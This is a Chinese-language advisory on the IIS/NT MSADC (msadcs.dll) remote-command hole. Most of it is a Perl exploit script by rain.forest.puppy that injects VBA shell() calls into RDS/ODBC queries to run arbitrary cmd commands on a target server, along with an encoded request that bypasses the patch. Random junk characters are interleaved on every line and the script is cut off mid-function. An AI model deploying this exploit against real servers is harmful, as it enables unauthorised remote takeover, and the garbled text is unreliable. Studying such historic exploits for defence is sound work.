IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
rf$[8d D0f7I:i1 涉及程序:
<C"}OW8 Microsoft NT server
.*FlB>1jy h;K9}w 描述:
:1iXBG\ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
<9=RLENmY" (o6u^#6 详细:
W#b++}S 如果你没有时间读详细内容的话,就删除:
mMhe,8E& c:\Program Files\Common Files\System\Msadc\msadcs.dll
_;(QMeR 有关的安全问题就没有了。
AsZyPybq \<%FZT_4~ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
&@7|_60 N/^[c+J[E 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
?K}KSJ6_ 关于利用ODBC远程漏洞的描述,请参看:
JLyFkV/
84Hm
PPt http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm WFeaX7\b 5U<o%+^El 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
A]V<K[9:b http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~ C_2D? g=v[@{9Pw 这里不再论述。
^eYJ7&t C$c.(5/O 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
5o(=?dXm4 p|*b] 36 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
@qJv 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
d<;XQ.Wo7 tK <)A) @D<Q'7mLh #将下面这段保存为txt文件,然后: "perl -x 文件名"
~b4fk^u`+ }>j1j^c1=' #!perl
?~Vev D #
T5U(B3j_ # MSADC/RDS 'usage' (aka exploit) script
H
@E-=Ly #
}% |GV # by rain.forest.puppy
R?%|RCht1 #
'Uo:b< # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
P#Ikj&l # beta test and find errors!
s3T 6"%S` \@n/L{}(@ use Socket; use Getopt::Std;
e''Wm.>g(+ getopts("e:vd:h:XR", \%args);
' :]w w@f_TG"Vt print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
zjJyc? }W%}_UT if (!defined $args{h} && !defined $args{R}) {
U(qM( E print qq~
z<P#djx Usage: msadc.pl -h <host> { -d <delay> -X -v }
xhMdn3~U -h <host> = host you want to scan (ip or domain)
2I39fZa -d <seconds> = delay between calls, default 1 second
?Z7C0u#wd -X = dump Index Server path table, if available
V'?nS&,i -v = verbose
54LCoG/ -e = external dictionary file for step 5
9zd)[4%= (C QgT3V Or a -R will resume a command session
IPE( 55N/[{[ ~; exit;}
a. 5`Q2 ~JT{!wcE}o $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
!*#=7^# if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;6)|'3.B9 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
CnA*o 8w if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
zKWi9 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
S"Zs'7dy` if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
anV)$PT= /ci.IT$Q^ if (!defined $args{R}){ $ret = &has_msadc;
g-(xuR^* die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
G6Fg<g9: 86} rz print "Please type the NT commandline you want to run (cmd /c assumed):\n"
+l3
vIN . "cmd /c ";
QU4'x4YS $in=<STDIN>; chomp $in;
#6m//0 u $command="cmd /c " . $in ;
C"mb-n7s "|&*MjwN6 if (defined $args{R}) {&load; exit;}
p0YTZS ]h I~T?tm print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
bFx?HM.AGW &try_btcustmr;
V[#lFl). Ul@'z| print "\nStep 2: Trying to make our own DSN...";
$1@{Zz!S &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Hm^p^,}_x F;NZJEy print "\nStep 3: Trying known DSNs...";
mg;AcAS.o, &known_dsn;
i\eykYc, Rx<pV_|H, print "\nStep 4: Trying known .mdbs...";
U&a]gkr &known_mdb;
nMbV{h , E|Lh$9XONA if (defined $args{e}){
G0&w#j print "\nStep 5: Trying dictionary of DSN names...";
BzUx@, &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Q\z*q,^R _1JvA- print "Sorry Charley...maybe next time?\n";
LOYv%9$0*p exit;
(6+0U1[Iz C]XDDr ##############################################################################
bcE DjLXq ,?f(~<Aj sub sendraw { # ripped and modded from whisker
NV;tsuA| sleep($delay); # it's a DoS on the server! At least on mine...
8ksDXf`. my ($pstr)=@_;
*Ee# x!O socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
yI;Qb7|^ die("Socket problems\n");
/][U$Q;Ke if(connect(S,pack "SnA4x8",2,80,$target)){
cS[`1y,\3 select(S); $|=1;
{gn[
&\ print $pstr; my @in=<S>;
A|+{x4s` select(STDOUT); close(S);
={oO9.9 return @in;
MG@19R2s } else { die("Can't connect...\n"); }}
pQ hv3F :4Vt ##############################################################################
yiU dUw/ \#}%E h
b sub make_header { # make the HTTP request
/L
4WWQ5 my $msadc=<<EOT
YD%Kd&es POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
btE+.V User-Agent: ACTIVEDATA
?m.4f&X Host: $ip
%"6IAt Content-Length: $clen
J5"*OH:f Connection: Keep-Alive
PTh
Ya ]9:G3vq ADCClientVersion:01.06
5*r6#[S\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
1,J. T_dd7Ym'8 --!ADM!ROX!YOUR!WORLD!
cG'Wh@ Content-Type: application/x-varg
YGO@X(ej, Content-Length: $reqlen
$} Myj'`r 7$;$4.' EOT
H6eGLg={ ; $msadc=~s/\n/\r\n/g;
H#y"3E<s return $msadc;}
#wyS?FP- @:@rks& ##############################################################################
Y(f-e, wMoAvA_oS sub make_req { # make the RDS request
@!da1jN my ($switch, $p1, $p2)=@_;
+9J>'oe'D my $req=""; my $t1, $t2, $query, $dsn;
/~[R
u >>r:L3 <! if ($switch==1){ # this is the btcustmr.mdb query
jo*9QO $query="Select * from Customers where City=" . make_shell();
-G 'lyH $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
e{,/ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
v=>Gvl3&U URgF8?n elsif ($switch==2){ # this is general make table query
v#FUD-Z $query="create table AZZ (B int, C varchar(10))";
C(t/:?(y $dsn="$p1";}
#`$7$Y~] luT8>9X^:a elsif ($switch==3){ # this is general exploit table query
86g+c $query="select * from AZZ where C=" . make_shell();
LayU)TIt $dsn="$p1";}
/["T#` ^d*>P|n*@e elsif ($switch==4){ # attempt to hork file info from index server
,Mc2dhq $query="select path from scope()";
Mm!saKT% $dsn="Provider=MSIDXS;";}
8E+l;2 p rgjU elsif ($switch==5){ # bad query
3@L%#]xwi $query="select";
~aG-^BAS $dsn="$p1";}
(Nahtx!/9 %"zJsYQ! $t1= make_unicode($query);
Ev16xL8B $t2= make_unicode($dsn);
wrU[#g,uvr $req = "\x02\x00\x03\x00";
I\~V0<"jI $req.= "\x08\x00" . pack ("S1", length($t1));
*zWn4BckN $req.= "\x00\x00" . $t1 ;
'r%oOZk)z $req.= "\x08\x00" . pack ("S1", length($t2));
@\?f77Of6 $req.= "\x00\x00" . $t2 ;
3D0I5LF& $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
z<>_*Lfj return $req;}
(T01hR& j+hoj2( ##############################################################################
b*KZe[#M1 $wTX sub make_shell { # this makes the shell() statement
.)w0C%] return "'|shell(\"$command\")|'";}
`uHpj`EU \irjIXtV ##############################################################################
MavO`m&Cg <4,?lZ sub make_unicode { # quick little function to convert to unicode
]w>fnew my ($in)=@_; my $out;
E,@UM$alP for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
[B`P]}gL: return $out;}
_4$DnQ6& >ULp! ##############################################################################
(q N(#~ Rn_c9p
sub rdo_success { # checks for RDO return success (this is kludge)
I/jr`3Mj my (@in) = @_; my $base=content_start(@in);
FOi`TZ8 if($in[$base]=~/multipart\/mixed/){
zP}v2 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
sEyl\GL return 0;}
{2r7:nvR _ZBR<{ ##############################################################################
D:tZiS=0 a HL '(< sub make_dsn { # this makes a DSN for us
@98SC}}u my @drives=("c","d","e","f");
5Suc#0y print "\nMaking DSN: ";
T9-a
uK0d foreach $drive (@drives) {
q)+n2FM print "$drive: ";
oH0F9*+W my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
[)>8z8'f "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
+lJ]-U|P . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
g}QTZT8 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
F5P{+z7 return 0 if $2 eq "404"; # not found/doesn't exist
ilpZ/Rs if($2 eq "200") {
)%w8>1}c foreach $line (@results) {
ya g return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
{NgY8wQB } return 0;}
:~R
Fy?xRa >0#q!H,X ##############################################################################
eh4"_t $ywh%OEH sub verify_exists {
n@[</E( my ($page)=@_;
l zPS
RT my @results=sendraw("GET $page HTTP/1.0\n\n");
5XO'OSdYq return $results[0];}
@ ]wem dt&Lwf/ ##############################################################################
]Wt6V^M'@ <D;Q8 sub try_btcustmr {
bu]Se6%} my @drives=("c","d","e","f");
X3iRR{< @ my @dirs=("winnt","winnt35","winnt351","win","windows");
D s,"E#? iiB )/~!O foreach $dir (@dirs) {
^i)Q
CDU7 print "$dir -> "; # fun status so you can see progress
'4lT*KN7\ foreach $drive (@drives) {
wf<`J/7u print "$drive: "; # ditto
b(-t)5^} $reqlen=length( make_req(1,$drive,$dir) ) - 28;
}.V0SM6 $reqlenlen=length( "$reqlen" );
`+BaDns $clen= 206 + $reqlenlen + $reqlen;
[3sxzU!t~ 7C7(bg,7^ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
/ ! if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
{&u7kWD| else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
T^;Jz!e X3L[y\ ##############################################################################
}6,bq`MN X8n/XG ~_ sub odbc_error {
^I~T$YjC ' my (@in)=@_; my $base;
exEld my $base = content_start(@in);
G^@Jgx3n if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
?WtG|w $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@j2*.ee $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
HT=Am $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Yn]yd1 return $in[$base+4].$in[$base+5].$in[$base+6];}
)LrCoI =| print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
7a]Zws print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
V -4*nV $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
pMZf!&tM $F`<&o ##############################################################################
)bXx9,VL akc"}+-oX sub verbose {
h)l&K%4; my ($in)=@_;
qb&NS4# return if !$verbose;
;E? hz print STDOUT "\n$in\n";}
Vt)\[Tl~ Q1I_=fT ##############################################################################
*5_8\7d y_4krY|Zx sub save {
~muIi#4 my ($p1, $p2, $p3, $p4)=@_;
g6/N\[b% open(OUT, ">rds.save") || print "Problem saving parameters...\n";
c]!D`FA*K print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Q @OC = close OUT;}
s.I1L?s1w? lPcVhj6No% ##############################################################################
5az
4N T qwNKRqT sub load {
G9y12HV my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
NuS|X
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
r~G]2*3 @p=<IN>; close(IN);
eo*u(@ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
6n6VEwYj $target= inet_aton($ip) || die("inet_aton problems");
[T[9*6Kt print "Resuming to $ip ...";
6:@t=C $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
e(; `9T if($p[1]==1) {
&Wz`>qYL* $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
qzlMn)e $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
ks%7W
- my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Z(k\J|&9C if (rdo_success(@results)){print "Success!\n";}
)lDIzLp else { print "failed\n"; verbose(odbc_error(@results));}}
Y0u'@l_[F elsif ($p[1]==3){
m~j\?mb{+ if(run_query("$p[3]")){
l@Eq|y, print "Success!\n";} else { print "failed\n"; }}
W]yClx \ elsif ($p[1]==4){
Vyt~OTI\ if(run_query($drvst . "$p[3]")){
nc\C4g print "Success!\n"; } else { print "failed\n"; }}
yhtvr5z1 exit;}
aa0`y $uFh$f ##############################################################################
Oa\ `; [6_Du6\h sub create_table {
l@tyg7CwY my ($in)=@_;
Hr<C2p^a $reqlen=length( make_req(2,$in,"") ) - 28;
4$?wD < $reqlenlen=length( "$reqlen" );
Y0X"Zw $clen= 206 + $reqlenlen + $reqlen;
~[uV my @results=sendraw(make_header() . make_req(2,$in,""));
/\-2l+y>J return 1 if rdo_success(@results);
e\A(#l@g my $temp= odbc_error(@results); verbose($temp);
ra9cD"/J & return 1 if $temp=~/Table 'AZZ' already exists/;
] [HGzHA return 0;}
gaw4NZd)0 vlPl(F1 ##############################################################################
e:$7^Y,U/ 2-$bh sub known_dsn {
ie$`pyj!x # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
,XeyE;|| my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
>St.c "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
ib(>vp$V "banner", "banners", "ads", "ADCDemo", "ADCTest");
O/DAf|X| EREolCASb foreach $dSn (@dsns) {
a)_rka1( print ".";
e'~-`Z9-) next if (!is_access("DSN=$dSn"));
w*<Y$hnBzF if(create_table("DSN=$dSn")){
[:nx);\ print "$dSn successful\n";
>k&8el6h if(run_query("DSN=$dSn")){
Q$|^~ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
R,x> $n print "Something's borked. Use verbose next time\n";}}} print "\n";}
GP[6nw_'^ c7+Djqs ##############################################################################
%ezb^O_6v <